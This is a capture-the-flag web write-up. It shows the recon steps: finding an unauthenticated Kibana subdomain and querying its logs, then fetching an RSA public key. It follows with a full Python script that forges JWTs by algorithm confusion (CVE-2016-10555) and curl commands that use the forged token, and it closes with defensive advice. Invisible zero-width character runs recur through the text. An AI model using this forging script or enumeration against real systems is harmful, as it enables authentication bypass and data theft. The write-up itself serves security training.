← Back to Writeups
CUSTOMMediumWeb

Хьюстон, у нас течь (Houston, We Have a Leak)

XESXOR9/10/20263 min read
#web#custom#medium#elk_stack_enumeration#hmac_with_public_key#jwt_algorithm_confusion#subdomain_discovery#cve-2016-10555#linux

Хьюстон, у нас течь (Houston, We Have a Leak)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: elk_stack_enumeration, hmac_with_public_key, jwt_algorithm_confusion, subdomain_discovery

Summary

Хьюстон, у нас течь — HackerLab

Description

Вы наткнулись на сайт компании "CyberCorp" — разработчика софта для кибербезопасности. Пройдите авторизацию и заберите флаг.

  • IP: 62.173.140.174:16108
  • Host: cybercorp.ctf

Analysis

Reconnaissance

  • Main CyberCorp page with company and employee information
  • /login page for authentication
  • /profile page requires JWT token (cookie "token")
  • /about page contains a hint: "Details can be found in internal logs"

Kibana Discovery

When checking various Host headers, discovered subdomain logs.cybercorp.ctf which redirects to Kibana (ELK Stack): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -I -H "Host: logs.cybercorp.ctf" http://62.173.140.174:16108/
# HTTP/1.1 302 Found
# location: /spaces/enter
# kbn-name: 733da891f0c5

Kibana 7.17.0 is accessible without authentication!

Elasticsearch Log Analysis

Via Kibana API, gained access to the cybercorp-logs index:

bash
curl -s -H "Host: logs.cybercorp.ctf" -H "kbn-xsrf: true" -H "Content-Type: application/json" \
  "http://62.173.140.174:16108/internal/search/es" -X POST \
  -d '{"params":{"index":"cybercorp-logs","body":{"query":{"match_all":{}},"size":100}}}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Found:

  1. User JWT tokens (all expired):

    • natalia.morozova (employee)
    • olga.smirnova (user)
    • sergey.ivanov (employee)
    • and others...
  2. Employee chat with key hints:

    • ekaterina.ivanova: Привет, aleksandr.morozov, ты в курсе, что новая система авторизации принимает токены и с HS256, и с RS256? Это нормально?
    • aleksandr.morozov: Привет, да, это для обратной совместимости сделали. HS256 использует SECRET_KEY, и публичный ключ. Думаю, всё ок.
  3. Public key: message pointed to /keys/public.pem ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Obtaining the Public Key

bash
curl -s -H "Host: cybercorp.ctf" http://62.173.140.174:16108/keys/public.pem

RSA public key (2048 bit):

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsWf893QPffBxTpySt2KW
sDTmD2Ftb4kwXxTbFSCnBZSWfasNqkxt2+bIJvlMFcjm2Ee7PNMoPv4d+/h81nLv
lfOQIOE7kbfoqvLx0jtbQU2Sa1cUP57BjP96jgiJWtj6U3LecbwFqyT/WlpSTA22
6Mad2s3SdoWeDjGR6XT4LxlYIJ2a/gHv30nY73V7WJ0NEIBFromw4hk7ub98gsVg
8zYQfEz04yIN5g8jbu6fG/EZmgENYdc05jQ26kkABweK3UmvzCIgZpwkb6x5Qz7b
n+ML8/Q/7H57O/KG7Os4h5M0hbQBYOvz7l8Ln8mMwjPcetD5+DoT58DR/ywzZZAJ
nwIDAQAB
-----END PUBLIC KEY-----

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: JWT Algorithm Confusion (CVE-2016-10555)

From the hints in the logs, it's clear that:

  • The server accepts both RS256 and HS256
  • For HS256, the public key is used as the secret

This is a classic Algorithm Confusion Attack:

  • RS256 uses asymmetric cryptography (private key for signing, public key for verification)
  • HS256 uses a symmetric secret (same key for signing and verification)
  • If the server accepts both algorithms and uses the public RSA key to verify HS256, an attacker can sign a token with the public key ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

python
#!/usr/bin/env python3
"""
JWT Algorithm Confusion Attack (CVE-2016-10555)
HackerLab: Хьюстон, у нас течь
"""
import hmac
import hashlib
import base64
import json

PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsWf893QPffBxTpySt2KW
sDTmD2Ftb4kwXxTbFSCnBZSWfasNqkxt2+bIJvlMFcjm2Ee7PNMoPv4d+/h81nLv
lfOQIOE7kbfoqvLx0jtbQU2Sa1cUP57BjP96jgiJWtj6U3LecbwFqyT/WlpSTA22
6Mad2s3SdoWeDjGR6XT4LxlYIJ2a/gHv30nY73V7WJ0NEIBFromw4hk7ub98gsVg
8zYQfEz04yIN5g8jbu6fG/EZmgENYdc05jQ26kkABweK3UmvzCIgZpwkb6x5Qz7b
n+ML8/Q/7H57O/KG7Os4h5M0hbQBYOvz7l8Ln8mMwjPcetD5+DoT58DR/ywzZZAJ
nwIDAQAB
-----END PUBLIC KEY-----"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def b64url_encode(data):
    """Base64 URL-safe encoding without padding"""
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Create JWT with HS256 and an existing user
header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "user": "aleksandr.morozov",  # Existing user from logs
    "role": "employee",           # Existing role
    "exp": 9999999999             # Far future
}

# Encode header and payload
header_b64 = b64url_encode(json.dumps(header, separators=(',', ':')))
payload_b64 = b64url_encode(json.dumps(payload, separators=(',', ':')))
message = f"{header_b64}.{payload_b64}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Sign with public key as HMAC secret
signature = hmac.new(
    PUBLIC_KEY.encode(), 
    message.encode(), 
    hashlib.sha256
).digest()
signature_b64 = b64url_encode(signature)

# Assemble the token
token = f"{message}.{signature_b64}"
print(f"Forged JWT: {token}")

# Usage:
# curl -s -H "Host: cybercorp.ctf" -H "Cookie: token=<token>" http://62.173.140.174:16108/profile

Important: You need to use an existing user with an existing role (employee), not try to create admin.

Getting the Flag

bash
curl -s -H "Host: cybercorp.ctf" -H "Cookie: token=<forged_token>" http://62.173.140.174:16108/profile

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Chain

  1. Information Disclosure - Kibana accessible without authentication via subdomain logs.cybercorp.ctf
  2. Sensitive Data Exposure - JWT tokens and internal correspondence in Elasticsearch logs
  3. JWT Algorithm Confusion (CVE-2016-10555) - server accepts HS256 with public RSA key as secret

Defense

  1. Strictly specify the algorithm when verifying JWT, don't trust the alg header
  2. Separate keys for different algorithms
  3. Protect Kibana with authentication
  4. Don't log JWT tokens and sensitive data
  5. Use libraries with algorithm confusion protection (e.g., pyjwt>=2.4.0) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References